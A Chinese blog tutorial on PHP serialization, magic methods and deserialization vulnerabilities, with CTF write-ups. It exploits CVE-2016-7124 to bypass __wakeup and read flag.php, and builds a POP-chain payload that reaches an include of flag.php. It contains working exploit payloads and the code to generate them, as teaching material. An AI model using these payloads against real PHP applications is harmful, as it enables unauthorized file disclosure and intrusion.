标签:state call src 使用 函数调用 cti 数据结构 对象属性 tar
现在我们都会在淘宝上买桌子,这时候一般都会把它拆掉成板子,再装到箱子里面,就可以快递寄出去了,这个过程就类似我们的序列化的过程(把数据转化为可以存储或者传输的形式)。当买家收到货后,就需要自己把这些板子组装成桌子的样子,这个过程就像反序列的过程(转化成当初的数据对象)。
也就是说,序列化的目的是方便传输和存储。
在PHP应用中,序列化和反序列化一般用做缓存,比如session,cookie等。
PHP序列化:php为了方便进行数据的传输,允许把复杂的数据结构,压缩到一个字符串中,使用serialize()
函数。
PHP反序列化:将被压缩为字符串的复杂数据结构,重新恢复,使用unserialize()
函数。
PHP反序列化漏洞:如果代码中使用了反序列化 unserialize()
函数,并且参数可控,且程序没有对用户输入的反序列化字符串进行校验,那么可以通过在本地构造序列化字符串,同时利用PHP中的一系列magic方法来达到想要实现的目的,如控制对象内部的变量甚至是函数。
<?php
$str=‘Theoyu‘;
$bool=true;
$null=NULL;
$arr=array(‘a‘=>1,‘b‘=>2);
class A
{
public $x;
private $y;
public function __construct($x,$y)
{
$this->x=$x;
$this->y=$y;
}
}
$test=new A(3,"theoyu");
echo(serialize($str).‘</br>‘); //s:6:"Theoyu";
echo(serialize($bool).‘</br>‘); //b:1;
echo(serialize($null).‘</br>‘); //N;
echo(serialize($arr).‘</br>‘); //a:2{s:1:"a";i:1;s:1:"b";i:2;}
echo(serialize($test).‘</br>‘); //O:1:"A":2:{s:1:"x";i:3;s:4:"Ay";s:6:"theoyu";}
?>
序列化对不同类型得到的字符串格式为:
string : s:size:value;
Integer: i:value;
Boolean b:value;(1 or 0)
NULL N;
Array a:size:{key definition;value definition;······}definition 类似string or Integer
Object O:类名长度:"类名":属性数量:{属性类型:属性名长度:属性名:value definition······}
PHP中把比双下划线__开头的方法称为魔术方法,这些发在达到某些条件时会自动被调用:
__construct():类的构造函数,当一个类被创建时自动调用
__destruct)(),类的析构函数,当一个类被销毁时自动调用
__sleep(),执行serialize()进行序列化时,先会调用这个函数
__wakeup(),执行unserialize()进行反序列化时,先会调用这个函数
__toString(),当把一个类当作函数使用时自动调用
__invoke(),当把一个类当作函数使用时自动调用
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息
类似c++的构造函数
需要指出,PHP不支持构造函数重载,所以一个类只能声明一个构造函数!
同上,类似c++..
serialize()函数会检查类中是否存在一个魔术方法__sleep(),如果存在,则该方法会优先被调用。
<?php
class Person
{
public $name;
public $sex;
public $age;
public function __construct($name,$sex,$age)
{
$this->name=$name;
$this->sex=$sex;
$this->age=$age;
}
public function __sleep()
{
echo"我是__sleep()函数,我被调用了,你以为你还叫theoyu?<br>";
$this->name=base64_encode($this->name);
return array(‘name‘,‘sex‘);//没有返回age
}
}
$person =new Person(‘theoyu‘,‘男‘,‘20‘);
echo serialize($person)
?>
输出:
我是__sleep()函数,我被调用了,你以为你还叫theoyu?
O:6:"Person":2 :{s:4:"name";s:8:"dGhlb3l1";s:3:"sex";s:3:"男";}
没有年龄。
unserialize()前会检查是否存在__wakeup(),如果存在会优先调动。
和__sleep()相比,不需要返回数组。
<?php
class Person
{
public $name;
public $sex;
public $age;
public function __construct($name,$sex,$age)
{
$this->name=$name;
$this->sex=$sex;
$this->age=$age;
}
public function __sleep()
{
echo"我是__sleep()函数,我被调用了,你以为你还叫theoyu?<br>";
$this->name=base64_encode($this->name);
return array(‘name‘,‘sex‘);
}
public function __wakeup()
{
echo"我是__wakeup()函数,你重新拥有了你的名字<br>";
$this->name=base64_decode(base64_decode($this->name)); //这里需要两次解码,因为__sleep()调用了两次
}
}
$person =new Person(‘theoyu‘,‘男‘,‘20‘);
echo serialize($person)."<br>";
var_dump(unserialize(serialize($person)));
?>
输出:
我是__sleep()函数,我被调用了,你以为你还叫theoyu?
O:6:"Person":2:{s:4:"name";s:8:"dGhlb3l1";s:3:"sex";s:3:"男";}
我是__sleep()函数,我被调用了,你以为你还叫theoyu?
我是__wakeup()函数,你重新拥有了你的名字
object(Person)#2 (3) { ["name"]=> string(6) "theoyu" ["sex"]=> string(3) "男" ["age"]=> NULL }
...忽然发现好中二= =
__toString()用于一个对象被当作字符串时应该如何回应,应该显示什么。
__toSrring()必须返回一个字符串。
zhegnv<?php
class A
{
public $test;
public function __construct($test)
{
$this->test=$test;
}
function __toString()
{
$str="this is __toString";
return $str; //__toString() must return a string value
}
}
$a=new A(3);
echo $a; //this is __toString
?>
<?php
class A
{
public $test;
public function __construct($test)
{
$this->test=$test;
}
function __invoke()
{
echo "this is __invoke";
}
}
$a=new A(3);
$a(); //this is __invoke
?>
<?php
class A
{
public $test;
public function __construct($test)
{
$this->test=$test;
}
function __call($funcion_name,$arguments)
{
echo"你调用的函数:".$funcion_name."(参数:";
print_r($arguments); //数组要用print_r()
echo ")不存在!";
}
}
$a=new A(3);
$a->person(‘name‘,‘age‘,‘sex‘);
//你调用的函数:person(参数:Array ( [0] => name [1] => age [2] => sex ) )不存在!
?>
CVE-2016-7124漏洞:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。
要求版本:PHP5<5.6.25 PHP7<7.0.10
index.php:
<?php
class loudong
{
public $file =‘index.php‘;
function __destruct()
{
if(!empty($this->file))
{
if(strchr($this->file,"\\")===false && strchr($this->file,‘/‘)===false)
{
echo"<br>";
show_source(dirname(__FILE__).‘/‘.$this->file);
}
else
die(‘Wrong filename‘);
}
}
function __wakeup()
{
$this->file=‘index.php‘;
}
function __toString()
{
return ‘this is tostring‘;
}
}
if(!isset($_GET[‘file‘]))
{
show_source(‘index.php‘);
}
else
{
$file=$_GET[‘file‘];
echo unserialize($file);
}
?> <!-- key in flag.php -->
分析其中的几个函数strchr(‘a‘,‘b‘):在a中搜索字串b,搜索成功返回剩下字串,失败return false。
代码审计
这里需要用到CVE-2016-7124漏洞
当序列化字符串中表示对象属性个数大于真实的属性个数或值类型不匹配时会跳过__wakeup的执行.
O:7:"loudong":1:{s:4:"file";s:8:"flag.php";}
O:7:"loudong":2:{s:4:"file";s:8:"flag.php";}
//或i:8:"flag.php都可一道考察多方面的题
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
include"flag.php";
}
}
$a = $_GET[‘string‘];
unserialize($a);
?>
如何在一个类中实例化另一个类呢?利用类的构造函数,只要第一个类被实例化就会自动实例化我们需要另外构造的类。
思路:
最后构造!
<?php
class start_gg
{
public $mod1;
public function __construct()
{
$this->mod1 = new Call();
}
}
class Call
{
public $mod1;
public function __construct()
{
$this->mod1 = new funct();
}
}
class funct
{
public $mod1;
public function __construct()
{
$this->mod1 = new func();
}
}
class func
{
public $mod1;
public function __construct()
{
$this->mod1 = new string1();
}
}
class string1
{
public $str1;
public function __construct()
{
$this->str1 = new GetFlag();
}
}
class GetFlag {}
$a = new start_gg();
echo serialize($a);
//O:8:"start_gg":1:{s:4:"mod1";O:4:"Call":1:{s:4:"mod1";O:5:"funct":1:{s:4:"mod1";O:4:"func":1:{s:4:"mod1";O:7:"string1":1:{s:4:"str1";O:7:"GetFlag":0:{}}}}}}
?>
payload serialize($a),得到flag。
参考:
忽然感觉自己效率很低,本来两天就能做完的,拖了快一个星期...
10月校赛的wp也还没完成
唉~
最后呢,给大家推一首曲子:ふるさとの匂い—吉森信
是《夏目友人帐》曲子欸 很治愈的
嗯
标签:state call src 使用 函数调用 cti 数据结构 对象属性 tar
原文地址:https://www.cnblogs.com/yuuuuu422/p/13894449.html